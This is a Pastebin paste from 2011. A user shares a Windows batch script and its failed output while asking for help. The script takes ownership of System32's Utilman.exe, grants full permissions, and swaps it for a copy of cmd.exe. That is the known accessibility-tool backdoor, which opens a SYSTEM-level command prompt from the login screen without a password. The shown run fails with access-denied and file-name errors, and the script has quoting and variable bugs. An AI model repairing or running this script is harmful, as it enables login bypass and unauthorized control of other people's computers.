Guest User

Untitled

a guest
May 16th, 2011
357
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.65 KB | None | 0 0
  1. [my error]
  2.  
  3. SUCCESS: The file (or folder): "C:\Windows\system32\Utilman.exe" now owned by us
  4. er "user-PC\user".
  5. (user): No mapping between account names and security IDs was done.
  6. Successfully processed 0 files; Failed processing 1 files
  7. Access is denied.
  8. 1 file(s) copied.
  9. A duplicate file name exists, or the file
  10. cannot be found.
  11. changing file names...
  12. Press any key to continue . . ..
  13.  
  14. [code i have to work with]
  15.  
  16. @ECHO OFF
  17.  
  18. takeown /f "%system32%Utilman.exe
  19. icacls "%system32%Utilman.exe" /grant (user):F
  20. rename %system32%Utilman.exe Utilman2.exe
  21. copy %system32%cmd.exe %system32%cmd5.exe
  22. rename %system32%cmd5.exe Utilman.exe
  23. pause
Advertisement
Add Comment
Please, Sign In to add comment